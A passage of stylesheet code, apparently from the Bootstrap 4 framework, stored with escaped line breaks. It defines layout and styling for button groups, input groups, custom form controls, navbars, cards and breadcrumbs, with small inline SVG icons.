0;\n}\n\n.dropdown-menu.show {\n  display: block;\n}\n\n.dropdown-header {\n  display: block;\n  padding: 0.5rem 1.5rem;\n  margin-bottom: 0;\n  font-size: 0.875rem;\n  color: #868e96;\n  white-space: nowrap;\n}\n\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  vertical-align: middle;\n}\n\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n  position: relative;\n  -ms-flex: 0 1 auto;\n      flex: 0 1 auto;\n  margin-bottom: 0;\n}\n\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover {\n  z-index: 2;\n}\n\n.btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active,\n.btn-group-vertical > .btn:focus,\n.btn-group-vertical > .btn:active,\n.btn-group-vertical > .btn.active {\n  z-index: 2;\n}\n\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group,\n.btn-group-vertical .btn + .btn,\n.btn-group-vertical .btn + .btn-group,\n.btn-group-vertical .btn-group + .btn,\n.btn-group-vertical .btn-group + .btn-group {\n  margin-left: -1px;\n}\n\n.btn-toolbar {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  -ms-flex-pack: start;\n      justify-content: flex-start;\n}\n\n.btn-toolbar .input-group {\n  width: auto;\n}\n\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n  border-radius: 0;\n}\n\n.btn-group > .btn:first-child {\n  margin-left: 0;\n}\n\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.btn-group > .btn-group {\n  float: left;\n}\n\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n\n.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.btn + .dropdown-toggle-split {\n  padding-right: 0.5625rem;\n  padding-left: 0.5625rem;\n}\n\n.btn + .dropdown-toggle-split::after {\n  margin-left: 0;\n}\n\n.btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split {\n  padding-right: 0.375rem;\n  padding-left: 0.375rem;\n}\n\n.btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split {\n  padding-right: 0.75rem;\n  padding-left: 0.75rem;\n}\n\n.btn-group-vertical {\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  -ms-flex-direction: column;\n      flex-direction: column;\n  -ms-flex-align: start;\n      align-items: flex-start;\n  -ms-flex-pack: center;\n      justify-content: center;\n}\n\n.btn-group-vertical .btn,\n.btn-group-vertical .btn-group {\n  width: 100%;\n}\n\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n  margin-top: -1px;\n  margin-left: 0;\n}\n\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n  border-radius: 0;\n}\n\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n[data-toggle=\"buttons\"] > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn input[type=\"checkbox\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"checkbox\"] {\n  position: absolute;\n  clip: rect(0, 0, 0, 0);\n  pointer-events: none;\n}\n\n.input-group {\n  position: relative;\n  display: -ms-flexbox;\n  display: flex;\n  width: 100%;\n}\n\n.input-group .form-control {\n  position: relative;\n  z-index: 2;\n  -ms-flex: 1 1 auto;\n      flex: 1 1 auto;\n  width: 1%;\n  margin-bottom: 0;\n}\n\n.input-group .form-control:focus, .input-group .form-control:active, .input-group .form-control:hover {\n  z-index: 3;\n}\n\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-align: center;\n      align-items: center;\n}\n\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n  border-radius: 0;\n}\n\n.input-group-addon,\n.input-group-btn {\n  white-space: nowrap;\n  vertical-align: middle;\n}\n\n.input-group-addon {\n  padding: 0.5rem 0.75rem;\n  margin-bottom: 0;\n  font-size: 1rem;\n  font-weight: normal;\n  line-height: 1.25;\n  color: #495057;\n  text-align: center;\n  background-color: #e9ecef;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  border-radius: 0.25rem;\n}\n\n.input-group-addon.form-control-sm,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .input-group-addon.btn {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  border-radius: 0.2rem;\n}\n\n.input-group-addon.form-control-lg,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .input-group-addon.btn {\n  padding: 0.5rem 1rem;\n  font-size: 1.25rem;\n  border-radius: 0.3rem;\n}\n\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n  margin-top: 0;\n}\n\n.input-group .form-control:not(:last-child),\n.input-group-addon:not(:last-child),\n.input-group-btn:not(:last-child) > .btn,\n.input-group-btn:not(:last-child) > .btn-group > .btn,\n.input-group-btn:not(:last-child) > .dropdown-toggle,\n.input-group-btn:not(:first-child) > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:not(:first-child) > .btn-group:not(:last-child) > .btn {\n  border-top-right-radius: 0;\n  border-bottom-right-radius: 0;\n}\n\n.input-group-addon:not(:last-child) {\n  border-right: 0;\n}\n\n.input-group .form-control:not(:first-child),\n.input-group-addon:not(:first-child),\n.input-group-btn:not(:first-child) > .btn,\n.input-group-btn:not(:first-child) > .btn-group > .btn,\n.input-group-btn:not(:first-child) > .dropdown-toggle,\n.input-group-btn:not(:last-child) > .btn:not(:first-child),\n.input-group-btn:not(:last-child) > .btn-group:not(:first-child) > .btn {\n  border-top-left-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.form-control + .input-group-addon:not(:first-child) {\n  border-left: 0;\n}\n\n.input-group-btn {\n  position: relative;\n  font-size: 0;\n  white-space: nowrap;\n}\n\n.input-group-btn > .btn {\n  position: relative;\n}\n\n.input-group-btn > .btn + .btn {\n  margin-left: -1px;\n}\n\n.input-group-btn > .btn:focus, .input-group-btn > .btn:active, .input-group-btn > .btn:hover {\n  z-index: 3;\n}\n\n.input-group-btn:not(:last-child) > .btn,\n.input-group-btn:not(:last-child) > .btn-group {\n  margin-right: -1px;\n}\n\n.input-group-btn:not(:first-child) > .btn,\n.input-group-btn:not(:first-child) > .btn-group {\n  z-index: 2;\n  margin-left: -1px;\n}\n\n.input-group-btn:not(:first-child) > .btn:focus, .input-group-btn:not(:first-child) > .btn:active, .input-group-btn:not(:first-child) > .btn:hover,\n.input-group-btn:not(:first-child) > .btn-group:focus,\n.input-group-btn:not(:first-child) > .btn-group:active,\n.input-group-btn:not(:first-child) > .btn-group:hover {\n  z-index: 3;\n}\n\n.custom-control {\n  position: relative;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  min-height: 1.5rem;\n  padding-left: 1.5rem;\n  margin-right: 1rem;\n}\n\n.custom-control-input {\n  position: absolute;\n  z-index: -1;\n  opacity: 0;\n}\n\n.custom-control-input:checked ~ .custom-control-indicator {\n  color: #fff;\n  background-color: #007bff;\n}\n\n.custom-control-input:focus ~ .custom-control-indicator {\n  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #007bff;\n}\n\n.custom-control-input:active ~ .custom-control-indicator {\n  color: #fff;\n  background-color: #b3d7ff;\n}\n\n.custom-control-input:disabled ~ .custom-control-indicator {\n  background-color: #e9ecef;\n}\n\n.custom-control-input:disabled ~ .custom-control-description {\n  color: #868e96;\n}\n\n.custom-control-indicator {\n  position: absolute;\n  top: 0.25rem;\n  left: 0;\n  display: block;\n  width: 1rem;\n  height: 1rem;\n  pointer-events: none;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n  background-color: #ddd;\n  background-repeat: no-repeat;\n  background-position: center center;\n  background-size: 50% 50%;\n}\n\n.custom-checkbox .custom-control-indicator {\n  border-radius: 0.25rem;\n}\n\n.custom-checkbox .custom-control-input:checked ~ .custom-control-indicator {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\");\n}\n\n.custom-checkbox .custom-control-input:indeterminate ~ .custom-control-indicator {\n  background-color: #007bff;\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E\");\n}\n\n.custom-radio .custom-control-indicator {\n  border-radius: 50%;\n}\n\n.custom-radio .custom-control-input:checked ~ .custom-control-indicator {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E\");\n}\n\n.custom-controls-stacked {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-direction: column;\n      flex-direction: column;\n}\n\n.custom-controls-stacked .custom-control {\n  margin-bottom: 0.25rem;\n}\n\n.custom-controls-stacked .custom-control + .custom-control {\n  margin-left: 0;\n}\n\n.custom-select {\n  display: inline-block;\n  max-width: 100%;\n  height: calc(2.25rem + 2px);\n  padding: 0.375rem 1.75rem 0.375rem 0.75rem;\n  line-height: 1.25;\n  color: #495057;\n  vertical-align: middle;\n  background: #fff url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23333' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\") no-repeat right 0.75rem center;\n  background-size: 8px 10px;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  border-radius: 0.25rem;\n  -webkit-appearance: none;\n     -moz-appearance: none;\n          appearance: none;\n}\n\n.custom-select:focus {\n  border-color: #80bdff;\n  outline: none;\n}\n\n.custom-select:focus::-ms-value {\n  color: #495057;\n  background-color: #fff;\n}\n\n.custom-select:disabled {\n  color: #868e96;\n  background-color: #e9ecef;\n}\n\n.custom-select::-ms-expand {\n  opacity: 0;\n}\n\n.custom-select-sm {\n  height: calc(1.8125rem + 2px);\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  font-size: 75%;\n}\n\n.custom-file {\n  position: relative;\n  display: inline-block;\n  max-width: 100%;\n  height: 2.5rem;\n  margin-bottom: 0;\n}\n\n.custom-file-input {\n  min-width: 14rem;\n  max-width: 100%;\n  height: 2.5rem;\n  margin: 0;\n  opacity: 0;\n}\n\n.custom-file-control {\n  position: absolute;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: 5;\n  height: 2.5rem;\n  padding: 0.5rem 1rem;\n  line-height: 1.5;\n  color: #495057;\n  pointer-events: none;\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n  background-color: #fff;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  border-radius: 0.25rem;\n}\n\n.custom-file-control:lang(en):empty::after {\n  content: \"Choose file...\";\n}\n\n.custom-file-control::before {\n  position: absolute;\n  top: -1px;\n  right: -1px;\n  bottom: -1px;\n  z-index: 6;\n  display: block;\n  height: 2.5rem;\n  padding: 0.5rem 1rem;\n  line-height: 1.5;\n  color: #495057;\n  background-color: #e9ecef;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  border-radius: 0 0.25rem 0.25rem 0;\n}\n\n.custom-file-control:lang(en)::before {\n  content: \"Browse\";\n}\n\n.nav {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.nav-link {\n  display: block;\n  padding: 0.5rem 1rem;\n}\n\n.nav-link:focus, .nav-link:hover {\n  text-decoration: none;\n}\n\n.nav-link.disabled {\n  color: #868e96;\n}\n\n.nav-tabs {\n  border-bottom: 1px solid #ddd;\n}\n\n.nav-tabs .nav-item {\n  margin-bottom: -1px;\n}\n\n.nav-tabs .nav-link {\n  border: 1px solid transparent;\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.nav-tabs .nav-link:focus, .nav-tabs .nav-link:hover {\n  border-color: #e9ecef #e9ecef #ddd;\n}\n\n.nav-tabs .nav-link.disabled {\n  color: #868e96;\n  background-color: transparent;\n  border-color: transparent;\n}\n\n.nav-tabs .nav-link.active,\n.nav-tabs .nav-item.show .nav-link {\n  color: #495057;\n  background-color: #fff;\n  border-color: #ddd #ddd #fff;\n}\n\n.nav-tabs .dropdown-menu {\n  margin-top: -1px;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.nav-pills .nav-link {\n  border-radius: 0.25rem;\n}\n\n.nav-pills .nav-link.active,\n.show > .nav-pills .nav-link {\n  color: #fff;\n  background-color: #007bff;\n}\n\n.nav-fill .nav-item {\n  -ms-flex: 1 1 auto;\n      flex: 1 1 auto;\n  text-align: center;\n}\n\n.nav-justified .nav-item {\n  -ms-flex-preferred-size: 0;\n      flex-basis: 0;\n  -ms-flex-positive: 1;\n      flex-grow: 1;\n  text-align: center;\n}\n\n.tab-content > .tab-pane {\n  display: none;\n}\n\n.tab-content > .active {\n  display: block;\n}\n\n.navbar {\n  position: relative;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  -ms-flex-align: center;\n      align-items: center;\n  -ms-flex-pack: justify;\n      justify-content: space-between;\n  padding: 0.5rem 1rem;\n}\n\n.navbar > .container,\n.navbar > .container-fluid {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n      flex-wrap: wrap;\n  -ms-flex-align: center;\n      align-items: center;\n  -ms-flex-pack: justify;\n      justify-content: space-between;\n}\n\n.navbar-brand {\n  display: inline-block;\n  padding-top: 0.3125rem;\n  padding-bottom: 0.3125rem;\n  margin-right: 1rem;\n  font-size: 1.25rem;\n  line-height: inherit;\n  white-space: nowrap;\n}\n\n.navbar-brand:focus, .navbar-brand:hover {\n  text-decoration: none;\n}\n\n.navbar-nav {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-direction: column;\n      flex-direction: column;\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.navbar-nav .nav-link {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.navbar-nav .dropdown-menu {\n  position: static;\n  float: none;\n}\n\n.navbar-text {\n  display: inline-block;\n  padding-top: 0.5rem;\n  padding-bottom: 0.5rem;\n}\n\n.navbar-collapse {\n  -ms-flex-preferred-size: 100%;\n      flex-basis: 100%;\n  -ms-flex-align: center;\n      align-items: center;\n}\n\n.navbar-toggler {\n  padding: 0.25rem 0.75rem;\n  font-size: 1.25rem;\n  line-height: 1;\n  background: transparent;\n  border: 1px solid transparent;\n  border-radius: 0.25rem;\n}\n\n.navbar-toggler:focus, .navbar-toggler:hover {\n  text-decoration: none;\n}\n\n.navbar-toggler-icon {\n  display: inline-block;\n  width: 1.5em;\n  height: 1.5em;\n  vertical-align: middle;\n  content: \"\";\n  background: no-repeat center center;\n  background-size: 100% 100%;\n}\n\n@media (max-width: 575px) {\n  .navbar-expand-sm > .container,\n  .navbar-expand-sm > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 576px) {\n  .navbar-expand-sm {\n    -ms-flex-direction: row;\n        flex-direction: row;\n    -ms-flex-wrap: nowrap;\n        flex-wrap: nowrap;\n    -ms-flex-pack: start;\n        justify-content: flex-start;\n  }\n  .navbar-expand-sm .navbar-nav {\n    -ms-flex-direction: row;\n        flex-direction: row;\n  }\n  .navbar-expand-sm .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-sm .navbar-nav .dropdown-menu-right {\n    right: 0;\n    left: auto;\n  }\n  .navbar-expand-sm .navbar-nav .nav-link {\n    padding-right: .5rem;\n    padding-left: .5rem;\n  }\n  .navbar-expand-sm > .container,\n  .navbar-expand-sm > .container-fluid {\n    -ms-flex-wrap: nowrap;\n        flex-wrap: nowrap;\n  }\n  .navbar-expand-sm .navbar-collapse {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .navbar-expand-sm .navbar-toggler {\n    display: none;\n  }\n}\n\n@media (max-width: 767px) {\n  .navbar-expand-md > .container,\n  .navbar-expand-md > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 768px) {\n  .navbar-expand-md {\n    -ms-flex-direction: row;\n        flex-direction: row;\n    -ms-flex-wrap: nowrap;\n        flex-wrap: nowrap;\n    -ms-flex-pack: start;\n        justify-content: flex-start;\n  }\n  .navbar-expand-md .navbar-nav {\n    -ms-flex-direction: row;\n        flex-direction: row;\n  }\n  .navbar-expand-md .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-md .navbar-nav .dropdown-menu-right {\n    right: 0;\n    left: auto;\n  }\n  .navbar-expand-md .navbar-nav .nav-link {\n    padding-right: .5rem;\n    padding-left: .5rem;\n  }\n  .navbar-expand-md > .container,\n  .navbar-expand-md > .container-fluid {\n    -ms-flex-wrap: nowrap;\n        flex-wrap: nowrap;\n  }\n  .navbar-expand-md .navbar-collapse {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .navbar-expand-md .navbar-toggler {\n    display: none;\n  }\n}\n\n@media (max-width: 991px) {\n  .navbar-expand-lg > .container,\n  .navbar-expand-lg > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 992px) {\n  .navbar-expand-lg {\n    -ms-flex-direction: row;\n        flex-direction: row;\n    -ms-flex-wrap: nowrap;\n        flex-wrap: nowrap;\n    -ms-flex-pack: start;\n        justify-content: flex-start;\n  }\n  .navbar-expand-lg .navbar-nav {\n    -ms-flex-direction: row;\n        flex-direction: row;\n  }\n  .navbar-expand-lg .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-lg .navbar-nav .dropdown-menu-right {\n    right: 0;\n    left: auto;\n  }\n  .navbar-expand-lg .navbar-nav .nav-link {\n    padding-right: .5rem;\n    padding-left: .5rem;\n  }\n  .navbar-expand-lg > .container,\n  .navbar-expand-lg > .container-fluid {\n    -ms-flex-wrap: nowrap;\n        flex-wrap: nowrap;\n  }\n  .navbar-expand-lg .navbar-collapse {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .navbar-expand-lg .navbar-toggler {\n    display: none;\n  }\n}\n\n@media (max-width: 1199px) {\n  .navbar-expand-xl > .container,\n  .navbar-expand-xl > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 1200px) {\n  .navbar-expand-xl {\n    -ms-flex-direction: row;\n        flex-direction: row;\n    -ms-flex-wrap: nowrap;\n        flex-wrap: nowrap;\n    -ms-flex-pack: start;\n        justify-content: flex-start;\n  }\n  .navbar-expand-xl .navbar-nav {\n    -ms-flex-direction: row;\n        flex-direction: row;\n  }\n  .navbar-expand-xl .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-xl .navbar-nav .dropdown-menu-right {\n    right: 0;\n    left: auto;\n  }\n  .navbar-expand-xl .navbar-nav .nav-link {\n    padding-right: .5rem;\n    padding-left: .5rem;\n  }\n  .navbar-expand-xl > .container,\n  .navbar-expand-xl > .container-fluid {\n    -ms-flex-wrap: nowrap;\n        flex-wrap: nowrap;\n  }\n  .navbar-expand-xl .navbar-collapse {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .navbar-expand-xl .navbar-toggler {\n    display: none;\n  }\n}\n\n.navbar-expand {\n  -ms-flex-direction: row;\n      flex-direction: row;\n  -ms-flex-wrap: nowrap;\n      flex-wrap: nowrap;\n  -ms-flex-pack: start;\n      justify-content: flex-start;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.navbar-expand .navbar-nav {\n  -ms-flex-direction: row;\n      flex-direction: row;\n}\n\n.navbar-expand .navbar-nav .dropdown-menu {\n  position: absolute;\n}\n\n.navbar-expand .navbar-nav .dropdown-menu-right {\n  right: 0;\n  left: auto;\n}\n\n.navbar-expand .navbar-nav .nav-link {\n  padding-right: .5rem;\n  padding-left: .5rem;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n  -ms-flex-wrap: nowrap;\n      flex-wrap: nowrap;\n}\n\n.navbar-expand .navbar-collapse {\n  display: -ms-flexbox !important;\n  display: flex !important;\n}\n\n.navbar-expand .navbar-toggler {\n  display: none;\n}\n\n.navbar-light .navbar-brand {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-brand:focus, .navbar-light .navbar-brand:hover {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-nav .nav-link {\n  color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-nav .nav-link:focus, .navbar-light .navbar-nav .nav-link:hover {\n  color: rgba(0, 0, 0, 0.7);\n}\n\n.navbar-light .navbar-nav .nav-link.disabled {\n  color: rgba(0, 0, 0, 0.3);\n}\n\n.navbar-light .navbar-nav .show > .nav-link,\n.navbar-light .navbar-nav .active > .nav-link,\n.navbar-light .navbar-nav .nav-link.show,\n.navbar-light .navbar-nav .nav-link.active {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-toggler {\n  color: rgba(0, 0, 0, 0.5);\n  border-color: rgba(0, 0, 0, 0.1);\n}\n\n.navbar-light .navbar-toggler-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-light .navbar-text {\n  color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-dark .navbar-brand {\n  color: white;\n}\n\n.navbar-dark .navbar-brand:focus, .navbar-dark .navbar-brand:hover {\n  color: white;\n}\n\n.navbar-dark .navbar-nav .nav-link {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-nav .nav-link:focus, .navbar-dark .navbar-nav .nav-link:hover {\n  color: rgba(255, 255, 255, 0.75);\n}\n\n.navbar-dark .navbar-nav .nav-link.disabled {\n  color: rgba(255, 255, 255, 0.25);\n}\n\n.navbar-dark .navbar-nav .show > .nav-link,\n.navbar-dark .navbar-nav .active > .nav-link,\n.navbar-dark .navbar-nav .nav-link.show,\n.navbar-dark .navbar-nav .nav-link.active {\n  color: white;\n}\n\n.navbar-dark .navbar-toggler {\n  color: rgba(255, 255, 255, 0.5);\n  border-color: rgba(255, 255, 255, 0.1);\n}\n\n.navbar-dark .navbar-toggler-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-dark .navbar-text {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.card {\n  position: relative;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-direction: column;\n      flex-direction: column;\n  min-width: 0;\n  word-wrap: break-word;\n  background-color: #fff;\n  background-clip: border-box;\n  border: 1px solid rgba(0, 0, 0, 0.125);\n  border-radius: 0.25rem;\n}\n\n.card-body {\n  -ms-flex: 1 1 auto;\n      flex: 1 1 auto;\n  padding: 1.25rem;\n}\n\n.card-title {\n  margin-bottom: 0.75rem;\n}\n\n.card-subtitle {\n  margin-top: -0.375rem;\n  margin-bottom: 0;\n}\n\n.card-text:last-child {\n  margin-bottom: 0;\n}\n\n.card-link:hover {\n  text-decoration: none;\n}\n\n.card-link + .card-link {\n  margin-left: 1.25rem;\n}\n\n.card > .list-group:first-child .list-group-item:first-child {\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.card > .list-group:last-child .list-group-item:last-child {\n  border-bottom-right-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.card-header {\n  padding: 0.75rem 1.25rem;\n  margin-bottom: 0;\n  background-color: rgba(0, 0, 0, 0.03);\n  border-bottom: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-header:first-child {\n  border-radius: calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0;\n}\n\n.card-footer {\n  padding: 0.75rem 1.25rem;\n  background-color: rgba(0, 0, 0, 0.03);\n  border-top: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-footer:last-child {\n  border-radius: 0 0 calc(0.25rem - 1px) calc(0.25rem - 1px);\n}\n\n.card-header-tabs {\n  margin-right: -0.625rem;\n  margin-bottom: -0.75rem;\n  margin-left: -0.625rem;\n  border-bottom: 0;\n}\n\n.card-header-pills {\n  margin-right: -0.625rem;\n  margin-left: -0.625rem;\n}\n\n.card-img-overlay {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  padding: 1.25rem;\n}\n\n.card-img {\n  width: 100%;\n  border-radius: calc(0.25rem - 1px);\n}\n\n.card-img-top {\n  width: 100%;\n  border-top-left-radius: calc(0.25rem - 1px);\n  border-top-right-radius: calc(0.25rem - 1px);\n}\n\n.card-img-bottom {\n  width: 100%;\n  border-bottom-right-radius: calc(0.25rem - 1px);\n  border-bottom-left-radius: calc(0.25rem - 1px);\n}\n\n@media (min-width: 576px) {\n  .card-deck {\n    display: -ms-flexbox;\n    display: flex;\n    -ms-flex-flow: row wrap;\n        flex-flow: row wrap;\n    margin-right: -15px;\n    margin-left: -15px;\n  }\n  .card-deck .card {\n    display: -ms-flexbox;\n    display: flex;\n    -ms-flex: 1 0 0%;\n        flex: 1 0 0%;\n    -ms-flex-direction: column;\n        flex-direction: column;\n    margin-right: 15px;\n    margin-left: 15px;\n  }\n}\n\n@media (min-width: 576px) {\n  .card-group {\n    display: -ms-flexbox;\n    display: flex;\n    -ms-flex-flow: row wrap;\n        flex-flow: row wrap;\n  }\n  .card-group .card {\n    -ms-flex: 1 0 0%;\n        flex: 1 0 0%;\n  }\n  .card-group .card + .card {\n    margin-left: 0;\n    border-left: 0;\n  }\n  .card-group .card:first-child {\n    border-top-right-radius: 0;\n    border-bottom-right-radius: 0;\n  }\n  .card-group .card:first-child .card-img-top {\n    border-top-right-radius: 0;\n  }\n  .card-group .card:first-child .card-img-bottom {\n    border-bottom-right-radius: 0;\n  }\n  .card-group .card:last-child {\n    border-top-left-radius: 0;\n    border-bottom-left-radius: 0;\n  }\n  .card-group .card:last-child .card-img-top {\n    border-top-left-radius: 0;\n  }\n  .card-group .card:last-child .card-img-bottom {\n    border-bottom-left-radius: 0;\n  }\n  .card-group .card:not(:first-child):not(:last-child) {\n    border-radius: 0;\n  }\n  .card-group .card:not(:first-child):not(:last-child) .card-img-top,\n  .card-group .card:not(:first-child):not(:last-child) .card-img-bottom {\n    border-radius: 0;\n  }\n}\n\n.card-columns .card {\n  margin-bottom: 0.75rem;\n}\n\n@media (min-width: 576px) {\n  .card-columns {\n    -webkit-column-count: 3;\n            column-count: 3;\n    -webkit-column-gap: 1.25rem;\n            column-gap: 1.25rem;\n  }\n  .card-columns .card {\n    display: inline-block;\n    width: 100%;\n  }\n}\n\n.breadcrumb {\n  padding: 0.75rem 1rem;\n  margin-bottom: 1rem;\n  list-style: none;\n  background-color: #e9ecef;\n  border-radius: 0.25rem;\n}\n\n.breadcrumb::after {\n  display: block;\n  clear: both;\n  content: \"\";\n}\n\n.breadcrumb-item {\n  float: left;\n}\n\n.breadcrumb-item + .breadcrumb-item::before {\n  display: 